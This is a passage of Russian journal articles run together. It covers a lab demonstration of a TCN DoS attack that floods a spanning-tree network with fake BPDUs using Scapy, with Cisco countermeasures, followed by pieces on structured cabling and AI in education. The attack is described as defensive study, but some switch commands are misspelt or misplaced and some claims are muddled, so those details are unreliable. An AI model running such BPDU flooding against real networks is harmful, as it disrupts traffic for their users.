Протокол STP (Spanning Tree Protocol) был 
впервые описан в стандарте IEEE 802.1D, при-
нятом в 1990 году, с 2014 года протокол описан 
в обновлённом стандарте IEEE 802.1Q. Основ-
ной принцип STP заключается в построении 
логической древовидной структуры сети, где 
избыточные связи блокируются для исключе-
ния циклической передачи данных. Пример 
петли коммутаторов представлен на рисунке 1. 

 
Рис. 1. Образование петли в топологии 

 
На рисунке представлены три коммутатора, 

соединённые треугольником – значит есть 
петля. С протоколом STP, активированным по 
умолчанию, каждый из коммутаторов активно 
взаимодействует с другими, отправляя опреде-
ленный вид кадров, известный как 
BPDU (Bridge Protocol Data Unit). 

BPDU – регулярные сообщения, которые 
корневой коммутатор рассылает в сеть. Эти 
кадры содержат информацию о текущем состо-
янии сети, такую как приоритеты коммутато-
ров, стоимости путей и идентификатор корне-
вого моста. Когда остальные коммутаторы по-
лучают конфигурационные BPDU, они перена-
правляют их дальше по сети. Поэтому вся сеть 
получает одну и ту же информацию о тополо-
гии, что позволяет ей согласовывать свои ре-
шения о путях и избегать петель. 

Алгоритм выбора корневого моста, который 
определяет главный коммутатор сети, служит 
основой для иерархического построения топо-
логии. Коммутатор с наименьшим идентифи-
катором моста (Bridge Priority) станет корне-
вым. В самом начале выборов каждый комму-
татор выставляет себя в роли потенциального 
корневого коммутатора. С помощью BPDU каж-
дый коммутатор представляет свой идентифи-
катор как ID корневого коммутатора. Когда 
коммутаторы начинают получать BPDU от со-
седних устройств, они обращают внимание на 
Bridge ID, который включает в себя приоритет 
коммутатора и его MAC-адрес. Каждый комму-
татор анализирует полученные BPDU и, если 
обнаруживает, что другой коммутатор пред-
ставил BPDU с меньшим Bridge ID, то он пере-
стает иметь статус корневого, представляя 
Bridge ID полученного коммутатора как новый 
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корневой коммутатор. Так процесс выбора кор-
невого коммутатора продолжается до тех пор, 
пока не выявится тот коммутатор, у которого 
Bridge ID окажется самым низким. 

Поскольку приоритет одинаков на всех ком-
мутаторах, MAC-адрес является решающим. 
Именно поэтому важно учесть то, что MAC-

адрес возможно изменить собственноручно, 
так как условно старый коммутатор будет 
иметь MAC-адрес меньше, чем у нового – сле-
довательно в топологии сети он станет корне-
вым (root), что не желательно для любой сети. 
На рисунке 2 SW1 имеет наименьший MAC-
адрес. 

 
Рис. 2. Root SW1 

 
Процесс выбора корневого устройства обес-

печивает стабильность работы сети. 
Протокол STP использует уведомле-

ния (Topology Change Notification). TCN BPDU 
генерируются коммутаторами при возникно-
вении изменений в топологии сети. Они по-
буждают коммутаторов обновить свои таблицы 
пересылки, чтобы адаптироваться к новой то-
пологии. После этого все устройства пересчи-
тывают свои маршруты. 

2. Уязвимости связанные с TCN 
Процесс передачи TCN начинается с того, 

что коммутатор, обнаруживший изменение, 
отправляет уведомление на корневой мост, ко-
торый затем распространяет эту информацию 
по всей сети. Одной из проблем является воз-
можность отправлять ложные BPDU пакеты. 
Злоумышленник отправляет на коммутатор 
кадры с несуществующими, случайно сгенери-
рованными MAC-адресами. В результате ком-
мутатор обновляет таблицу MAC-адресов ин-
формацией из ложных кадров.  

Атаки с использованием ложных уведомле-
ний способны перегружать CPU, а также спо-
собствуют утери пакетов трафика между ком-
мутаторами. Исследования показывают, что 

такие атаки могут увеличить время задержки 
передачи данных в сети на 30–50%. Поэтому 
важно учитывать, что при планировании сети, 
нужно заложить в проект запас по меньшей 
мере в 30% неиспользуемых возможностей. Та-
кой подход помогает смягчить последствия по-
тенциальных атак и повышает устойчивость 
сети. 

3. Пример атаки на протокол STP 
3.1. Физическая часть атаки 
Атака протокола STP: TCN DoS – заключа-

ется в целенаправленной отправки злоумыш-
ленником огромного количества поддельных 
BPDU пакетов, что в свою очередь приводит к 
чрезмерной нагрузке системы. Последствием 
такой атаки станет увеличение времени от-
правки пакетов, с дальнейшей потерей тра-
фика. Именно такой результат станет подтвер-
ждением атаки в тестовой среде с имитацией 
TCN DoS. 

На первом этапе атаки на протокол – нужно 
создать правильную конфигурацию с тремя 
коммутаторами, подключив их к друг-другу, 
создав петлю. Топология такой конфигурации, 
которая будет использоваться в эксперименте, 
можно увидеть на рисунке 3. 
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Рис. 3. Топология для атаки 

 
Исходя из топологии, PC злоумышленника 

подключён к SW1(Cisco). 
Другие два PC связаны через SW2(Eltex 1428) 

и SW3(Cisco). Коммутаторы подключены так, 

что образуют петлю, что автоматически акти-
вирует протокол STP. Физическое подключе-
ние коммутаторов представлено на рисун-
ках 4–6. 

 
Рис. 4. Подключение к коммутатору Eltex 1428 
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Рис. 5. Подключение к коммутатору Cisco 

 

 
Рис. 6. Подключение к коммутатору Cisco 

 
3.2. Практическая часть атаки 
В экспериментальной среде PC злоумыш-

ленника подключён к любому из трёх коммута-
торов в порт консоли, это делается для возмож-
ности зайти в консоль коммутатора и связи с 
другими устройствами. Для этого нужно уста-
новить программу Putty. В программе ввкладке 
serial, ввести характеристики speеd и разъём 
порт PC злоумышленника (в данном случае 
COM3). После этого доступен доступ в консоль 

коммутатора, где можно проверить состояние 
STP протокола командой show-spanning-tree. 

Установка связности между двумя коммута-
торами-жертв для успешности атаки. Для этого 
нужно установить соответствующие адреса на 
устройства, на PC1 – 192.168.0.1, и PC2 – 
192.168.0.2. После этого отправим трафик с од-
ного устройства на другое, результат представ-
лен на рисунке 7. 
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Рис. 7. Отправка пакетов 

 
В таблице показаны результаты времени отправки пакетов с PC1 до PC2 в обычном режиме. 

Таблица 1 
Результаты исследования до атаки 

54 bytes from 192.168.0.1: icmp_req=1 time=0.705 ms 
54 bytes from 192.168.0.1: icmp_req=2 time=1.84 ms 
54 bytes from 192.168.0.1: icmp_req=3 time=1.85 ms 
54 bytes from 192.168.0.1: icmp_req=4 time=1.54 ms 
54 bytes from 192.168.0.1: icmp_req=5 time=1.55 ms 
54 bytes from 192.168.0.1: icmp_req=6 time=1.85 ms 
54 bytes from 192.168.0.1: icmp_req=7 time=1.82 ms 
54 bytes from 192.168.0.1: icmp_req=8 time=1.01 ms 
54 bytes from 192.168.0.1: icmp_req=9 time=0.981 ms 

54 bytes from 192.168.0.1: icmp_req=10 time=1.04 ms 
54 bytes from 192.168.0.1: icmp_req=11 time=1.85 ms 
54 bytes from 192.168.0.1: icmp_req=12 time=0.651 ms 
54 bytes from 192.168.0.1: icmp_req=13 time=1.86 ms 

 
На PC злоумышленника необходимо устано-

вить соответствующие программы (Ncap), рас-
ширения (Scapy), с помощью которых будет 

происходить атака посредством запуска 
скрипта в pytnon-Scapy. Установленный Scapy 
представлен на рисунке 8. 

 
Рис. 8. Установленная библиотека Scapy 
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3.3. Запуск атаки на протокол STP 
Выполнив все условия для проведения 

успешной атаки в экспериментальной среде, с 
помощью Python-скрипта в cmd можно запу-
стить атаку. Для этого cmd запускается от 

имени администратора, необходимо также 
узнать с помощью команды ipconfig/all ваш ак-
тивный Ethernet/Wi-Fi адаптер (например, 
Ethernet adapter Ethernet). Активный Ethernet 
адаптер представлен на рисунке 9. 

 
Рис. 9. Ethernet адаптер 

 
Это нужно для работы скрипта и правильно-

сти написания команды. В PythonIDLE пишем 
скрипт, этот скрипт будет создавать огромное 
количество поддельных BPDU пакетов в се-
кунду. Последствием станет нагрузка на си-
стему, сбои в работе протокола и потеря паке-
тов с увеличением времени их отправки. 

Последствия скрипта станут видны при по-
пытке отправки трафика с одного устройства 
на другой. Из-за перегружённости устройство 
покажет рост задержек (коммутаторы вре-
менно блокируют порты), нестабильности 
(скачки времени ответа). Потере пакетов (тра-
фик отбрасывается во время смены топологии). 
Результат атаки представлен на рисунке 10. 

 
Рис. 10. Последствие атаки 

 
В таблице показаны результаты времени отправки пакетов с PC1 до PC2 при атаке на протокол STP. 
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Таблица 2 
Результаты исследования после атаки 

64 bytes from 192.168.0.1: icmp_req=1 ttl=64 time=370 ms 
64 bytes from 192.168.0.1: icmp_req=2 ttl=64 time=190 ms 
64 bytes from 192.168.0.1: icmp_req=3 ttl=64 time=1.85 ms 

From 192.168.0.1 icmp_seq=3 Destination Host Unreachable 
64 bytes from 192.168.0.1: icmp_req=5 ttl=64 time=384 ms 
64 bytes from 192.168.0.1: icmp_req=6 ttl=64 time=1.85 ms 
64 bytes from 192.168.0.1: icmp_req=7 ttl=64 time=1.02 ms 
64 bytes from 192.168.0.1: icmp_req=8 ttl=64 time=120 ms 

From 192.168.0.1 icmp_seq=9 Destination Host Unreachable 
64 bytes from 192.168.0.1: icmp_req=11 ttl=64 time=1.85 ms 
64 bytes from 192.168.0.1: icmp_req=12 ttl=64 

time=622.4 ms 
time=622.4 ms 

64 bytes from 192.168.0.1: icmp_req=13 ttl=64 time=1.86 ms 
 

Для сравнения посмотрим графически на то, 
как идут пакеты в штатном режиме и как идут 

пакеты при атаке. Результаты представлены на 
рисунках 11-12. 

 
Рис. 11. График отправки трафика в обычном режиме 

 
График показывает зависимость времени 

отправки трафика с шагом в 4 единицы по оси 
X. В штатном режиме график постоянный, без 
резких скачков и перемен. 

 
Рис. 12. График отправки трафика при атаке 
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На рисунке 12 видно, что в значениях по x в 
150 и 350 график функций достигает нуля, что 
сообщает нам об Destination Host Unreachable. 
Сам график не постоянный, имеет скачки по 
времени, что подтверждает наличие атаки на 

протокол. При DoS атаке, CPU – коммутаторы 
тратят ресурсы на обработку поддельных 
BPDU-фреймов, что повышает их нагрузку. Ха-
рактеристики процессора при атаке представ-
лены на рисунке 13: 

 
Рис. 13. Показатели CPU 

 
4. Методика защиты от атаки TCN DoS 
Отключение TCN на ненужных портах. На 

edge-портах следует отключать обработку TCN 
с помощью команд: 

interface GigabitEthernet0/1 
spanning-tree bpdufilter enable # фильтрация 

BPDU (Cisco) 
panning-tree guard root # защита root-порта 
Второй способ заключается в использова-

нии PortFast и BPDU Guard – функции прото-
кола STP. PortFast позволяет порту сразу пе-
рейти в состояние Forwarding, пропуская этапы 
Listening и Learning, то есть игнорируя TCN. 

PortFast рекомендуется настраивать только 
на портах, которые подключены к конечным 
устройствам (PC). На портах, соединённых с 
другими коммутаторами, эту функцию вклю-
чать не рекомендуется, так как это может при-
вести к петлям в сети. 

BPDU Guard блокирует порт при получении 
BPDU. Если порт получает BPDU, он переходит 
в состояние error-disabled. Порт остаётся в этом 
состоянии, пока администратор вручную не 
разблокирует его или не настроит автоматиче-
ское восстановление. BPDU Guard можно вклю-
чить на коммутаторе или для каждого интер-
фейса. Настраивается PortFast и BPDU Guard 
следующими командами в режиме конфигура-
ции интерфейса: 

Настройка PortFast: 
interface range FastEthernet0/1-24 
 spanning-tree portfast 
Настройка BPDU Guard: 
interface range FastEthernet0/1-24 

 spanning-tree portfast bpduguard default 
Ограничение обработки TCN (Rate Limiting). 

Некоторые производители позволяют ограни-
чить частоту обработки TCN: 

spanning-tree tc-protection rate-limit 1 
Переход на современные RSTP/MSTP. RSTP 

и MSTP менее подвержены TCN-атакам, так как 
используют улучшенные механизмы смены то-
пологии. Команда для перехода на RSTP: 

spanning-tree mode rapid-pvst 
Заключение 
В ходе проведенного исследования были 

рассмотрены основные аспекты протокола 
STP, включая его роль в сетевой инфраструк-
туре и уязвимости, связанные с уведомлени-
ями об изменении топологии (TCN). В процессе 
исследования, в экспериментальной среде 
была проведена атака, путём отправки под-
дельных BPDU сообщений, результаты и по-
следствия атаки были описаны и продемон-
стрированы в данной статье. Было доказано, 
что при атаке STP: TCN последствием стано-
вится потеря и задержка трафика, и перегрузка 
CPU устройств. Отметим, что протокол STP – 
неотълемленная часть любой сети, знания о ко-
торой должно быть у любого специалиста в об-
ласти сетей и базы данных. 
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INVESTIGATION OF THE SECURITY  

OF THE STP PROTOCOL FOR DDOS ATTACKS TCN 
 

Abstract. In this article, the methods of testing and protecting the STP protocol were considered. The STP Pro-
tocol (Spanning Tree Protocol) is a system loop prevention protocol operating at the second layer of the OSI (L2) 
model. The STP protocol was created by Radia Perlman– the "mother of the Internet," in 1985. The protocol is 
described in the IEEE 802.1D standard, the IEEE 802.1 Inter-Network Communication Working Group. In the mod-
ern world, the role of network processes is underestimated by most, and the depth and difficulty of such a science 
scares away ordinary people who do not think about the importance of this area in everyday life. Social organiza-
tions, hospitals, urban institutions – all everywhere need those fundamental things that will be discussed in this 
article. An example would be the aforementioned STP protocol, whose role is extremely important in organizing the 
networks of all enterprises, which confirms the importance of investigating this problem. The TCN DOS attack poses 
a threat to networks, as they can lead to. 

 
Keywords: TCN DOS attack, STP protocol, STP testing and protection techniques, attacks. 
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СКРЫТАЯ УГРОЗА: ПОЧЕМУ КАЧЕСТВО СТРУКТУРИРОВАННОЙ 

КАБЕЛЬНОЙ СЕТИ (СКС) КРИТИЧЕСКИ ВАЖНО ДЛЯ СТАБИЛЬНОСТИ 
ВСЕЙ IT-ИНФРАСТРУКТУРЫ 

 
Аннотация. В статье представлен аналитический обзор значения структурированной кабельной 

сети (СКС) как фундаментального элемента IT-инфраструктуры на объектах критической важности. 
Исследуется проблема недооценки физического уровня сетевой архитектуры, что часто приводит к кас-
кадным сбоям и скрытым уязвимостям в системах безопасности и передачи данных. Цель работы – на 
основе анализа академических источников и практического опыта экспертов, продемонстрировать пря-
мую зависимость общей стабильности, производительности и безопасности IT-комплекса от качества 
проектирования, монтажа и обслуживания СКС. В статье анализируются международные стандарты, 
рассматриваются последствия пренебрежения качеством компонентов и монтажных работ, а также 
предлагаются практические рекомендации по минимизации рисков. Результаты могут быть использо-
ваны инженерами, проектировщиками и руководителями IT-департаментов для обоснования инвести-
ций в качественную кабельную инфраструктуру и разработки долгосрочных стратегий эксплуатации. 

 
Ключевые слова: структурированная кабельная сеть (СКС), IT-инфраструктура, физический уровень 

сети, надежность сети, сетевая безопасность, стандарты TIA/EIA, совокупная стоимость владе-
ния (TCO), критическая инфраструктура. 

 
 современной цифровой экономике IT-
инфраструктура является основой функци-

онирования любого крупного предприятия, в 
особенности объектов критической инфра-
структуры, таких как промышленные ком-
плексы, финансовые учреждения и атомные 
станции. При обсуждении надежности и произ-
водительности сетей основное внимание тра-
диционно уделяется активному оборудова-
нию – серверам, коммутаторам, маршрутиза-
торам, а также программному обеспечению. 
Однако стабильность всей этой сложной экоси-
стемы напрямую зависит от пассивной и зача-
стую «невидимой» ее части – структурирован-
ной кабельной сети. 

Актуальность данного вопроса многократно 
возрастает в контексте критической инфра-
структуры, где цена сбоя измеряется не только 
финансовыми потерями, но и потенциаль-
ными угрозами технологической и обществен-
ной безопасности. Пренебрежение качеством 
СКС на этапе проектирования или монтажа со-
здает скрытую угрозу, способную проявиться в 
самый неожиданный момент в виде трудно ди-
агностируемых сбоев, потери данных или пол-
ного отказа систем. Цель настоящей статьи – 

раскрыть многоаспектное значение СКС, про-
анализировать последствия некачественного 
внедрения и, опираясь на научные данные и 
практический опыт, сформулировать прин-
ципы создания отказоустойчивой кабельной 
инфраструктуры. 

СКС как фундамент IT-инфраструктуры 
Согласно сетевой модели OSI (Open Systems 

Interconnection), физический уровень является 
первым и базовым, обеспечивая передачу 
необработанных битов данных по среде пере-
дачи. Именно на этом уровне функционирует 
СКС. Международные стандарты, такие как 
ANSI/TIA-568 и ISO/IEC 11801, определяют 
строгие правила проектирования и монтажа 
СКС, чтобы гарантировать определенный уро-
вень производительности и совместимости 
компонентов от разных производителей [3]. 
Эти стандарты регламентируют все: от тополо-
гии сети до характеристик кабелей, разъемов и 
методов тестирования. 

Несмотря на наличие стандартов, на прак-
тике физический уровень часто становится ис-
точником проблем. Исследования показывают, 
что значительный процент сетевых сбоев про-
исходит именно из-за неполадок в кабельной 

В 
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инфраструктуре. Это могут быть как физиче-
ские повреждения кабеля, так и проблемы, вы-
званные низким качеством компонентов или 
нарушением технологий монтажа, например, 
превышение допустимого радиуса изгиба ка-
беля или некачественная терминация 

разъемов. Такие дефекты приводят к деграда-
ции сигнала, увеличению числа ошибок в паке-
тах данных (CRC errors) и, как следствие, к сни-
жению реальной пропускной способности 
сети [5]. 

 
Рис. 1 

 
Последствия экономии на качестве СКС 
Стремление сократить бюджет на этапе 

строительства часто приводит к экономии на 
пассивных компонентах СКС. Однако такая 
экономия является ложной и в долгосрочной 
перспективе оборачивается значительными 
операционными издержками и рисками. Прак-
тический опыт специалистов, работающих на 
крупных промышленных объектах, показы-
вает, что основополагающими принципами 
при создании СКС должны быть качество мон-
тажа, долговечность и удобство в обслужива-
нии. 

Последствия использования некачествен-
ных компонентов или нарушения технологии 
монтажа многообразны: 

● Снижение производительности сети: 
Дешевые кабели и разъемы могут не соответ-
ствовать заявленным категориям (например, 
Cat.6/6A), что не позволит сети функциониро-
вать на проектных скоростях 1 или 10 Гбит/с. 

● «Плавающие» ошибки: Некачественные 
соединения являются причиной трудно диа-
гностируемых, спорадически возникающих 
ошибок, которые могут проявляться под высо-
кой нагрузкой или при изменении внешних 
условий. Поиск таких неисправностей требует 
значительных временных и трудовых затрат. 

● Уязвимости безопасности: Физический 
уровень не является иммунным к угрозам без-
опасности. Некачественная экранировка кабе-
лей повышает уязвимость к электромагнитным 
помехам и перехвату данных (side-channel 
attacks). Книга М. Блоха и Ж. Барроса «Physical-
Layer Security» подробно рассматривает теоре-
тические и практические аспекты защиты на 
физическом уровне, подчеркивая важность це-
лостности среды передачи [2]. 

● Высокая совокупная стоимость владе-
ния (TCO): Хотя первоначальные затраты на 
качественную СКС могут быть выше, ее жиз-
ненный цикл составляет 15–20 лет, в то время 
как активное оборудование меняется каждые 
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3–5 лет [1]. Частые сбои, простои, затраты на 
диагностику и ремонт некачественной сети в 
итоге многократно превышают первоначаль-
ную экономию. 

Практические принципы создания 
надежной СКС 

Создание отказоустойчивой кабельной ин-
фраструктуры требует системного подхода, ос-
нованного на строгом соблюдении стандартов 
и передовых практик. 

1. Проектирование: На этом этапе закла-
дывается фундамент будущей надежности. 
Необходимо тщательно планировать тополо-
гию, рассчитывать длины кабельных трасс, 
предусматривать резервирование и достаточ-
ный запас по количеству портов для будущего 
расширения. Использование специализиро-
ванного программного обеспечения для проек-
тирования позволяет избежать многих ошибок 
еще на бумаге. 

2. Выбор компонентов: Следует исполь-
зовать компоненты (кабель, патч-панели, ро-
зетки, разъемы) от проверенных производите-
лей, которые предоставляют системную гаран-
тию на свою продукцию. Все компоненты 

должны принадлежать к одной категории и со-
ответствовать требованиям международных 
стандартов. 

3. Качество монтажа: Монтаж должен 
выполняться сертифицированными специали-
стами, которые строго соблюдают технологию: 
выдерживают радиусы изгиба, правильно раз-
делывают и терминируют кабель, выполняют 
маркировку. Качественный монтаж – это не 
только технический, но и эстетический аспект; 
аккуратно уложенные и промаркированные 
жгуты в серверных шкафах значительно упро-
щают дальнейшее обслуживание. 

4. Тестирование и документирование: 
После завершения монтажа каждая линия СКС 
должна быть протестирована с помощью спе-
циализированного кабельного анализатора на 
соответствие заявленной категории. Резуль-
таты тестирования вместе с подробными схе-
мами и кабельным журналом составляют ис-
полнительную документацию, которая явля-
ется критически важной для эффективной экс-
плуатации и поиска неисправностей на протя-
жении всего жизненного цикла системы. 

 
Рис. 2 

 
Структурированная кабельная сеть является 

тем фундаментом, на котором строится вся IT-
инфраструктура современного предприятия. 

Пренебрежение ее качеством в угоду сиюми-
нутной экономии создает скрытую, но серьез-
ную угрозу для стабильности, 
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производительности и безопасности всех биз-
нес-критичных систем. Анализ научных работ 
и обобщение практического опыта ведущих 
специалистов показывают, что долгосрочная 
надежность сети может быть обеспечена 
только через комплексный подход, включаю-
щий тщательное проектирование на основе 
международных стандартов, использование 
высококачественных компонентов, професси-
ональный монтаж и обязательное всесторон-
нее тестирование [4]. 

Инвестиции в качественную СКС следует 
рассматривать не как затраты, а как стратеги-
ческий вклад в отказоустойчивость и будущую 
масштабируемость IT-инфраструктуры. Для 
руководителей объектов критической инфра-
структуры понимание этого факта является 
обязательным условием для принятия взве-
шенных управленческих решений и минимиза-
ции технологических рисков. 
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Abstract. The article provides an analytical overview of the importance of a structured cabling network (SCN) 

as a fundamental element of the IT infrastructure at facilities of critical importance. The problem of underestimat-
ing the physical layer of the network architecture is being investigated, which often leads to cascading failures and 
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Аннотация. В современных условиях образование представляет собой стратегическое условие разви-

тия как каждого члена, так и современного общества в целом. Это обусловлено стремительным разви-
тием науки, расширением объёма знаний и информации в мире всеобщей цифровизации всех процессов, 
влияющих на все уровни современной жизни и на методы работы, частью чего является искусственный 
интеллект. 

В статье приводится анализ преимуществ использования в образовательном процессе технологий ис-
кусственного интеллекта. При этом особое внимание уделено индивидуализации обучения.  

 
Ключевые слова: возможности образования, цифровизация, технологии искусственного интеллекта, 

индивидуализация, потенциал искусственного интеллекта. 
 
Основная часть 
Искусственный интеллект – очень широкая 

дисциплина, область информатики, в которой 
компьютеры учатся моделировать процесс 
мышления, обучения и восприятия как у лю-
дей. В последнее время в области изучения и 
внедрения искусственного интеллекта произо-
шёл значительный сдвиг, известный как Deep 
Learning, который является дисциплиной ма-
шинного обучения. В машинном обучении ма-
шины учатся распознавать простые объекты не 
только путём определения и программирова-
ния характеристик объекта, но и на основе 
представления данных, таких как различные 
изображения, звук или цифры. 

В научной литературе под искусственным 
интеллектом подразумеваются технологиче-
ские системы, которые для принятия решений 
опираются на базу больших данных (Big Data) и 
действуют по принципу алгоритма. Нередко 
понятие «искусственный интеллект» означает 
способную к самообучению и развитию цифро-
вую программу, облеченную в какую-либо ма-
шинную оболочку. 

Технологии искусственного интеллекта с 
использованием программных платформ на 
основе нейронных сетей и больших данных (Big 
Data) создают возможность поднять на каче-
ственно новый уровень идею персонализации 
образования, поскольку нейронные сети зача-
стую предлагают уникальные решения, на ко-
торые обычное человеческое мышление 

неспособно. Для реализации установки на пер-
сонализацию обучения созданы специализиро-
ванные цифровые программы, позволяющие 
учитывать индивидуальные особенности сту-
дентов, обеспечивать достаточные результаты 
для одних и ускоренное и углубленное образо-
вание – для других. 

Развитие искусственного интеллекта рас-
ширяет возможности образования и имеет по-
тенциал для значительного увеличения эффек-
тивности системы образования путем персона-
лизации процесса обучения в соответствии с 
индивидуальными потребностями учащихся и 
одновременного значительного снижения ад-
министративной нагрузки на педагогов [1]. 

Кроме того, технологии искусственного ин-
теллекта могут точно определить, какие части 
учебных материалов менее понятны ученикам 
или где они делают больше ошибок. В конеч-
ном счёте они могут адаптировать обучение к 
каждому ученику [2]. 

Образовательные онлайн-системы и целые 
цифровые платформы, использующие искус-
ственный интеллект, уже помогают зарубеж-
ным учителям оценивать работу учеников, 
например сочинения. Некоторые исследования 
показали, что алгоритмы оценивают объектив-
нее, чем лучшие учителя. Например, они осво-
бождены от личной предвзятости, которая 
иногда может присутствовать у учителя. При 
этом искусственный интеллект не должен об-
рабатывать полностью всю работу ученика, 
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только её дизайн, с которым затем продолжает 
работать живой учитель. Именно благодаря со-
трудничеству человека и машины с искусствен-
ным интеллектом, а не замене учителя маши-
ной, многие видят будущее обучения [3, с. 12-
16]. 

Чешский исследователь О. Ноймаер приво-
дит примеры уже существующих научных раз-
работок искусственного интеллекта для школь-
ного обучения. Так, компания SmallStep со-
здала технологию искусственного интеллекта, 
которая создает учебные и обучающие тексты 
из любого источника текста в любой области 
знаний, а также тестирует технологию обуче-
ния английскому языку. 

Кроме того, уже другая технология искус-
ственного интеллекта отслеживает прогресс 
каждого ученика, готовит для него упражне-
ния, полностью адаптированные к его способ-
ностям и успехам, что обеспечивает наиболее 
эффективную динамику обучения [4, с. 27-33]. 

Можно выделить пять областей применения 
искусственного интеллекта в образовании [5,  
с. 19-22]: 

1. Индивидуализация обучения. Так, тех-
нологии искусственного интеллекта могут рас-
познавать сильные и слабые стороны учащихся 
и соответствующим образом адаптировать ме-
тод и процесс обучения конкретному ученику: 
на что ему нужно обратить больше внимания, 
какой темп подходит ему, где у него есть про-
белы и ему нужно больше повторений или тре-
нировок.  

2. Помощники-репетиторы. Уже суще-
ствуют программы репетиторства на основе 
искусственного интеллекта, которые помогают 
учащимся осваивать, например, основы мате-
матики. Также технологии искусственного ин-
теллекта способны считывать тексты и могут, 
например, обрабатывать и сортировать работы 
учащихся или контролировать посещаемость. 
Тогда у педагогов будет больше времени для 
подготовки к занятиям и личному общению с 
учениками, что облегчает административную 
нагрузку. 

3. Выявление пробелов. Искусственный 
интеллект может отслеживать восприятие уро-
ков отдельными учениками, основываясь на 
анализе результатов тестов или домашних за-
даний. Тем самым педагог может незамедли-
тельно скорректировать обучение. 

4. Выбор профессии. Системы искусствен-
ного интеллекта могут скорректировать выбор 
профессии или дальнейшего образования на 

основе анализа успехов и предпочтений в 
определенных областях, где обучающиеся по-
казывают наилучшие показатели и которые им 
более подходят. Это наилучшим образом под-
ходит при выборе программ стажировки. Так, в 
МГТУ им. Н. Э. Баумана разработали и запу-
стили первого в России ИИ-преподавателя по 
программированию. Сервис способен анализи-
ровать знания, чтобы подсказать дальнейшее 
направление. С его помощью можно решить 
более 7 тыс. задач. 

5. Умные школы. Анализ данных и искус-
ственный интеллект могут контролировать 
безопасность, освещение, использование учеб-
ных классов. Искусственный интеллект выяв-
ляет попытки мошенничества и плагиата. Чат-
боты облегчают взаимодействие учебных заве-
дений с учащимися, начиная с процедуры за-
числения и заканчивая выбором курсов и не-
прерывной информацией во время учёбы. 

Стоит отметить, что в настоящее время от-
мечаются значительные изменения в харак-
тере работы программ искусственного интел-
лекта, вызывающие опасения в определенных 
научных кругах. В частности, если в первона-
чальных программах результатом их работы 
были большие данные, но сами эти программы 
были пассивны, то на уровне самообучающихся 
цифровых систем большие данные начали 
управлять опциями. В результате возросла не-
предсказуемость их работы, поскольку уже не 
программисты, а сами данные определяют, что 
делать дальше. 

Помимо непредсказуемости результатов ра-
боты самообучающихся цифровых систем, воз-
никает и такая важная проблема индивидуали-
зированного обучения, как критерии итогового 
оценивания результатов обучения, поскольку, 
если исключить из образовательного процесса 
единые требования и заменить их индивиду-
альными программами, то и итоговое знание 
учащегося должно стать индивидуальным и 
уникальным. 

Несмотря на это, возможности использова-
ния искусственного интеллекта в образовании 
все возрастают и расширяются. Можно с уве-
ренностью сказать, что области применения 
технологий искусственного интеллекта могут 
быть безграничными, но с учетом вышеизло-
женного целесообразно выделить следующие 
направления его применения для совершен-
ствования образовательного процесса [6]: 

1. Создание регулируемой среды обуче-
ния. Кому-то легче читать тексты и понимать 
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визуальную информацию, для других – легче 
воспринимать и запоминать информацию на 
слух. Искусственный интеллект может помочь 
настроить учебную среду таким образом, 
чтобы она была наиболее продуктивной для 
конкретного ученика. Образовательное воз-
действие этой адаптивности и гибкости 
огромно, поскольку традиционные образова-
тельные системы и учебные программы не учи-
тывают способностей и возможностей уча-
щихся в достаточной мере. 

2. Повышение эффективности. Искус-
ственный интеллект способен ускорять учеб-
ные процессы и сокращать рутинную ручную 
работу, связанную с образованием, а это осво-
бождает большую часть времени педагога и 
ученика. Искусственный интеллект может ав-
томатизировать эти процессы, повышая эф-
фективность и качество образования.  

3. Образовательная платформа на основе 
искусственного интеллекта. Благодаря искус-
ственному интеллекту учащиеся могут полу-
чить доступ к образовательной платформе, ко-
торая не только адаптирована к их потребно-
стям, но и может обучать их в областях, где пе-
дагоги не могут. Например, учебные плат-
формы искусственного интеллекта обычно 
функционируют на основе информации, кото-
рая была собрана из нескольких источников, 
тщательно проанализирована и затем прове-
рена. В то же время педагог не может быть в 
курсе тенденций и событий на одном уровне с 
искусственным интеллектом.  

4. Обучение через игру. Обучение через 
игры уже стало популярным в дошкольном и 
начальном образовании. Дети узнают, как 
устроен и функционирует мир, из развиваю-
щих игр. Тем не менее этот творческий подход 
к обучению также может быть реализован и на 
более старших ступенях образования, помогая 
учащимся развивать навыки, которые они хо-
тели бы получить.  

5. Обучение детей с особыми образова-
тельными возможностями. Когда речь идёт об 
учениках с трудностями в обучении, с особыми 
образовательными потребностями, проблемы 
можно решить благодаря искусственному ин-
теллекту, который делает обучение не только 
индивидуализированным, но и целенаправ-
ленным. Его алгоритмы призваны помочь лю-
дям с особыми потребностями наиболее эф-
фективным способом. Неспособность разрабо-
тать и внедрить передовые образовательные 

технологии несёт в себе риск регресса для чело-
вечества. 

Заключение 
Использование искусственного интеллекта 

многосторонне, но наиболее важный ресурс 
технологий искусственного интеллекта в обра-
зовании связан с возможностями персонализи-
рованного обучения. Потенциал искусствен-
ного интеллекта, прежде всего, видится в 
успешном решении рутинных задач образова-
тельного процесса: освоении понятийного ап-
парата предмета изучения, логических связей 
и т. п. Системы искусственного интеллекта спо-
собны по реакции обучающихся определять 
уровень усвоения учебного материала, прово-
дить тестирование и давать оценку учебным 
достижениям, давать рекомендации по кор-
ректировке образовательного процесса.  

Таким образом, искусственный интеллект 
представляет собой огромный ресурс, который 
открывает богатые возможности совершен-
ствования образовательного процесса. Однако 
его применение в образовании создает опреде-
ленные педагогические, психологические и со-
циальные риски. Чтобы их минимизировать, 
необходимо:  

• четкое осознание обществом и научно-
педагогическим сообществом неизбежности 
этих рисков;  

• понимание того, что искусственный 
интеллект работает лишь как вспомогательный 
инструмент, дающий материал для анализа и 
размышления преподавателей, на основе кото-
рых они должны принимать в той или иной си-
туации окончательное решение;  

• требуется предпринять определенные 
шаги на национальном и международном уров-
нях по ограничению возможностей разработки 
и использования потенциально опасных для 
общества технологий. Это может быть государ-
ственная и международная экспертизы про-
грамм искусственного интеллекта на предмет 
их безопасности для общества и системы обра-
зования. В соответствии с выводами данных 
экспертиз специалисты по системному про-
граммированию должны согласиться на огра-
ничение свободы творчества в сферах, способ-
ных быть потенциально опасными для челове-
чества. 

Вместе с тем, разработка и внедрение но-
вейших алгоритмов искусственного интел-
лекта, которые могут оптимизировать учебные 
процессы, должны стать приоритетом. При 
этом важнейшая задача для исследователей 
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состоит в том, чтобы изобрести более высокую 
форму искусственного интеллекта, которая бу-
дет способна объяснить его действия. Оче-
видно, что чем больше искусственный интел-
лект влияет на жизнь людей, тем больше будет 
усиливаться его давление. Уметь правильно его 
использовать и осознавать опасность манипу-
ляций – очень важная задача. Интеграция циф-
